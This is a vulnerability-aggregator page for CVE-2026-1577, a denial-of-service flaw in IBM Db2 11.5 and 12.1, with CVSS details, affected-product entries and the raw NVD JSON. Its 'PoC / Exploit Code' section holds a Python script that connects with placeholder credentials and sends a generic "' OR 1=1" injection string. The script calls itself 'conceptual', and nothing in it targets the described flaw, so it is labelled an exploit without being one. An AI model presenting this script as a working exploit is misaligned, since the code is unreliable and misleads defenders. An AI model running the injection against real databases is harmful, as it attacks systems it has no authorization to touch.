Security Vulnerability Report
中文
CVE-2026-1577 CVSS 6.5 MEDIUM

CVE-2026-1577

Published: 2026-04-30 22:16:25
Last Modified: 2026-05-10 14:16:46

Description

IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 for Linux, UNIX and Windows (includes Db2 Connect Server) could allow an authenticated user to cause a denial of service due to improper neutralization of special elements in data query logic.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:* - VULNERABLE
cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:* - VULNERABLE
IBM Db2 11.5.0 through 11.5.9
IBM Db2 12.1.0 through 12.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import ibm_db # Conceptual Proof of Concept for CVE-2026-1577 # This script demonstrates how an authenticated user might trigger the DoS. # Note: The specific payload depends on the exact "special elements" flaw. def trigger_dos(conn_str, user, pwd): try: # Establish connection to the vulnerable Db2 instance conn = ibm_db.connect(conn_str, user, pwd) print("[+] Connected to database.") # Construct a malicious query containing special elements # that are not properly neutralized. # This payload aims to cause a parsing error or resource exhaustion. malicious_query = "SELECT * FROM sensitive_table WHERE id = '1' OR 1=1; -- MALICIOUS_PAYLOAD" # Execute the query stmt = ibm_db.exec_immediate(conn, malicious_query) # If the script hangs here or the connection drops, the DoS might be triggered. result = ibm_db.fetch_both(stmt) print("[!] Query executed. Check server status for potential DoS.") except Exception as e: print(f"[-] An exception occurred: {e}") finally: if 'conn' in locals() and conn: ibm_db.close(conn) if __name__ == "__main__": # Replace with actual connection details connection_string = "DATABASE=testdb;HOSTNAME=192.168.1.100;PORT=50000;PROTOCOL=TCPIP;" db_user = "db2inst1" db_pass = "password" trigger_dos(connection_string, db_user, db_pass)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1577", "sourceIdentifier": "[email protected]", "published": "2026-04-30T22:16:25.017", "lastModified": "2026-05-10T14:16:46.437", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Db2 11.5.0 through 11.5.9, and 12.1.0 through 12.1.4 for Linux, UNIX and Windows (includes Db2 Connect Server) could allow an authenticated user to cause a denial of service due to improper neutralization of special elements in data query logic."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "ECAF5576-B4A5-4DB7-94F0-942F656F0461"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "B1E165E8-F11B-4F13-B54A-90D29CA2ABF8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "11.5.0", "versionEndIncluding": "11.5.9", "matchCriteriaId": "727E2804-2D3D-4C31-A3E5-F99107D02A27"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:linux:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.4", "matchCriteriaId": "1E004F72-3A78-4548-AB21-E048C5E79536"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:unix:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.4", "matchCriteriaId": "83BC943C-4CB3-4751-9E03-B8BB18113DF3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2:*:*:*:*:*:windows:*:*", "versionStartIncluding": "12.1.0", "versionEndIncluding": "12.1.4", "matchCriteriaId": "B5327C79-7D77-4435-8FC3-B6568C1DE2B1"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7269434", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}